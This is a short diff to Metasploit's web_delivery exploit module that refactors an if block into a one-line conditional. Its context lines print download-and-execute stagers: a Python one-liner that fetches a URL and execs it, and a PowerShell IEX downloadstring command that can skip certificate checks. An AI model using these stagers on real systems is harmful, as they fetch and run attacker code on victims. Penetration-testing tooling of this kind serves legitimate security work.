diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index a895a7d9c6..5775bc3ddc 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -88,9 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote when 'Python' print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") when 'PSH' - if ssl - ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate - end + ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" print_line generate_psh_command_line( noprofile: true,